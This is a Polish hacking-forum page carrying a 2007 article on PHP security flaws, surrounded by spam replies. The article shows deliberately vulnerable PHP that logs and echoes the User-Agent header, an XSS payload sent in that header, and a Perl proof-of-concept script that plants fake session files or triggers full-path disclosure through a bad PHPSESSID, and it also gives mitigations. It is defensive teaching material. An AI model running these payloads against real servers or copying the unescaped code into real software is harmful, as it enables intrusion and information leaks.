Rejestracja
•
Szukaj
•
FAQ
•
Użytkownicy
•
Grupy
•
Galerie
•
Zaloguj
Forum wszystko o hackingu i nie tylko Strona Główna
»
Bezpieczeństwo serwerów
Napisz odpowiedź
Użytkownik
Temat
Treść wiadomości
Emotikony
Więcej Ikon
Kolor:
Domyślny
Ciemnoczerwony
Czerwony
Pomarańćzowy
Brązowy
Żółty
Zielony
Oliwkowy
Błękitny
Niebieski
Ciemnoniebieski
Purpurowy
Fioletowy
Biały
Czarny
Rozmiar:
Minimalny
Mały
Normalny
Duży
Ogromny
Zamknij Tagi
Add image to post
Opcje
HTML:
NIE
BBCode
:
TAK
Uśmieszki:
TAK
Wyłącz BBCode w tym poście
Wyłącz Uśmieszki w tym poście
Kod potwierdzający: *
Wszystkie czasy w strefie EET (Europa)
Skocz do:
Wybierz forum
Uwaga
----------------
UWAGA!
Hacking
----------------
Różne
Exploity
Buffer Overflow
File Stream Pointer Overwrite
Bugtraq
Heap Overflow
Przechwytywanie informacji w sieciach LAN
SQL Injection
Gadu-Gadu
Phishing
XSS
DoS
Kursy Programowania
----------------
Assembler
PHP
C/C++
HTML
XHTML
Perl
Turbo Pascal
Download
----------------
Sniffery,Bindery,Keyloggery
Różne programy hakerskie
Skanery
Exploity
Reklama
----------------
Hackme.pl
Hacking.pl
Hackme 3.0 - GRA
Szkoła Hakerów
NiggaStyle
Master-warez.tk
Inter-line
Evilteam
Hemp Gru Team - Counter Strike 1.6 Clan
Bezpieczeństwo
----------------
Łaty
Bezpieczeństwo serwerów
Windows
Windows
----------------
przechowywanie haseł
triki hakerskie
różne
Linux
----------------
przechowywanie haseł
różne
Licznik
----------------
Licznik odwiedzin
Klikajcie!!!
Przegląd tematu
Przegląd tematu
Autor
Wiadomość
honda-radio
Wysłany: Sob 4:37, 16 Lut 2008
Temat postu:
Thx!
BMW
Wysłany: Nie 17:55, 20 Sty 2008
Temat postu:
Cool site! Helpful topic!
Kilkoi
Wysłany: Pon 14:30, 24 Gru 2007
Temat postu:
Cool topic!
Kilkoi
Wysłany: Nie 20:24, 23 Gru 2007
Temat postu:
Cool topic!
ehklxvxvzq
Wysłany: Śro 17:37, 17 Paź 2007
Temat postu:
Hello! Good Site! Thanks you! ypnxyyzzaq
haker512
Wysłany: Pią 20:45, 09 Lut 2007
Temat postu: php
1) Wprowadzenie.
2) (Nie)bezpieczeństwo wyświetlania wersji przeglądarki.
3) Sesje..
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
1)
W tym artykule postaram się przedstawić pare zagadnień z obszaru
bezpieczeństwa skryptów PHP, głównie na podstawie moich doświadczeń.
Postaram się aby rzeczy które tu przedstawie nie były kopią (małą zmianą)
innych publikacji, na temat ogólnego bezpieczeństwa w PHP
a raczej innym aspektem spojrzenia na tego typu zagadnienie.
Tak czy inaczej mam nadzieje że artykuł przedstawi coś nowego w tym temacie.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
2)
Jak wiadomo jednym ze sposób wyświetlenia na stronie wersji przeglądarki
użytkownika jest użycie zmiennej 'HTTP_USER_AGENT' w praktyce wygląda to tak:
- - -
Kod:
$user_agent = $_SERVER['HTTP_USER_AGENT'];
echo $user_agent;
?>
- - -
Skrypt ten wyświetli nazwę przeglądarki użytkownika na stronie.
Co więc jest niebezpiecznego w takim skrypcie?
A więc możemy wysłać w nagłówku 'User-Agent' kod XSS który zostanie wykonany.
Przedstawie teraz mniej więcej jak ma wyglądać taki nagłówek:
- - -
Kod:
$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /tmp/index.php HTTP/1.0
User-Agent: <script>alert(document.cookie)</script>
- - -
Oczywiście w telnecie nie zobaczymy co się stało
ale można użyć przeglądarki tekstowej typu lynx, links
aby kod javascript został wykonany.
Teraz pewnie ktoś by zadał pytanie 'Jak można to właściwie wykorzystać?'
A więc załóżmy że mamy na stronie takie skrypty:
- - -
Kod:
// index.php
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$dane = $_SERVER['REMOTE_ADDR']." - ".$user_agent."
\n";
$nazwapliku = 'log.txt';
if(isset($user_agent)) {
$uchwyt = fopen($nazwapliku, 'a');
fwrite($uchwyt, $dane);
fclose($uchwyt);
}
?>
- - -
- - -
// admin.php
$nazwapliku = 'log.txt';
$uchwyt = fopen($nazwapliku, "r");
readfile("log.txt");
?>
- - -
Plik index.php zapisuje adres IP i nazwę przeglądarki do pliku,
admin.php po prostu odczytuje dane z pliku log.txt,
a następnie wyświetla je na stronie.
Wszystko działa prawidłowo.
Ale jeśli zmienimy nagłówek 'User-Agent' możemy zastosować atak 'html injection'
jak i 'XSS' co daje bardzo duże możliwości wykorzystania..
Co do zabezpieczeń, myśle że zastosowanie funkcji
'htmlspecialchars()' na '$_SERVER['HTTP_USER_AGENT']' będzie odpowiednie.
Wygląda to tak:
- - -
Kod:
$user_agent = $_SERVER['HTTP_USER_AGENT'];
echo htmlspecialchars($user_agent);
?>
- - -
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
2)
Pozwolę sobie zacytować:
"Gość wchodzący na twoją stronę WWW otrzymuje unikalny identyfikator, tzw. id sesji.
Jest ono przechowywane albo jako ciasteczko po stronie użytkownika
lub propagowane w URL'u." (C php.net)
Dość niedawno odkryłem dziwne zachowanie php gdy jako id sesji podamy 'złe znaki'
jak np: '@, !, #, ^' itd.. mianowicie php wyrzuca błąd przez co ujawnia ścieżkę
dostępu do pliku. Przykład:
Kod:
- - -
session_start();
?>
- - -
- - -
$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /tmp/index.php HTTP/1.0
Cookie: PHPSESSID=@
HTTP/1.1 200 OK
(...)
Warning: session_start(): The session id contains invalid characters,
valid characters are only a-z, A-Z and 0-9 in /var/www/htdocs/tmp/index.php
on line 3
Warning: Unknown(): The session id contains invalid characters, valid characters
are only a-z, A-Z and 0-9 in Unknown
on line 0
Warning: Unknown(): Failed to write session data (files).
Please verify that the current setting of session.save_path is correct
(/tmp) in Unknown on line 0
Connection closed by foreign host.
- - -
Oczywiście możemy się przed tym zabezpieczyć poprzez zmienną 'display_errors'
ustawioną na 'Off' lub też dodać '@' przed 'session_start()' co zmniejszy 'wyciek informacji'
Pozwoliłem sobie napisać prostego 'POC' exploita na ten błąd :
Kod:
Kod:
#!/usr/bin/perl
#
# (Proof Of Concept) by Kamil 'K3' Sienicki
#
# display_errors must be On
#
use IO::Socket;
if(@ARGV < 3) {
print "\n";
print "PHP Exploit (POC)\n";
print " by Kamil 'K3' Sienicki\n\n";
print "1. Create fake session file (sess_fake) in directory (default /tmp). \n";
print "2. Full path disclosure.\n\n";
print "Usage: ./php_bug.pl [host] [address] [type of attack (1 or 2)]\n\n";
exit;
}
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ARGV[0]", PeerPort => "80" ) || die "[-] Connect failed! \r\n";
if($ARGV[2] == 1) {
print "\n";
print "PHP Exploit (POC)\n";
print " by Kamil 'K3' Sienicki\n\n";
print "Name of session (default PHPSESSID): ";
$sess = ;
print "Name of fake sess_file: ";
$fake = ;
chomp($sess,$fake);
print $socket "GET $ARGV[1] HTTP/1.0\n";
print $socket "Cookie: $sess=$fake\n\n";
print "'$fake' fake file was created.. \n";
} elsif ($ARGV[2] == 2) {
print "\n";
print "PHP Exploit (POC)\n";
print " by Kamil 'K3' Sienicki\n\n";
print "Name of session (default PHPSESSID): ";
$sess = ;
chomp($sess);
print $socket "GET $ARGV[1] HTTP/1.0\n";
print $socket "Cookie: $sess=@\n\n";
while ($answer = <$socket>) {
if ($answer =~ m/^...Warning/) {
print $answer."\n";
}
}
}
Co najdziwniejsze po opublikowaniu tego 'błędu?' na bugs.php.net
stwierdzone zostało że wcale nie jest to żaden bug.
Jak to zostało mniej więcej napisane.. wiekszość błędów wyświetla ścieżkę dostępu do pliku.
Problem w tym że użytkownik może napisać 'teoretycznie' prawidłowy kod który 'praktycznie'
nie będzie 100% bezpieczny a sam nie będzie o tym wiedział.
Jeśli stosuje 'obscurity' czyli np: ukrywa w ścieżce ważne nadrzędne katalogi
(z doświadczenia wiem że często tak się zdarza) tym bardziej tzw.
'Full Path Disclosure' będzie w tym przypadku niebezpieczny i możemy
uzyskać informacje do których nie powinniśmy mieć dostępu..
fora.pl
- załóż własne forum dyskusyjne za darmo
Powered by
phpBB
© 2001, 2005 phpBB Group
Design by
Freestyle XL
/
Music Lyrics
.
Regulamin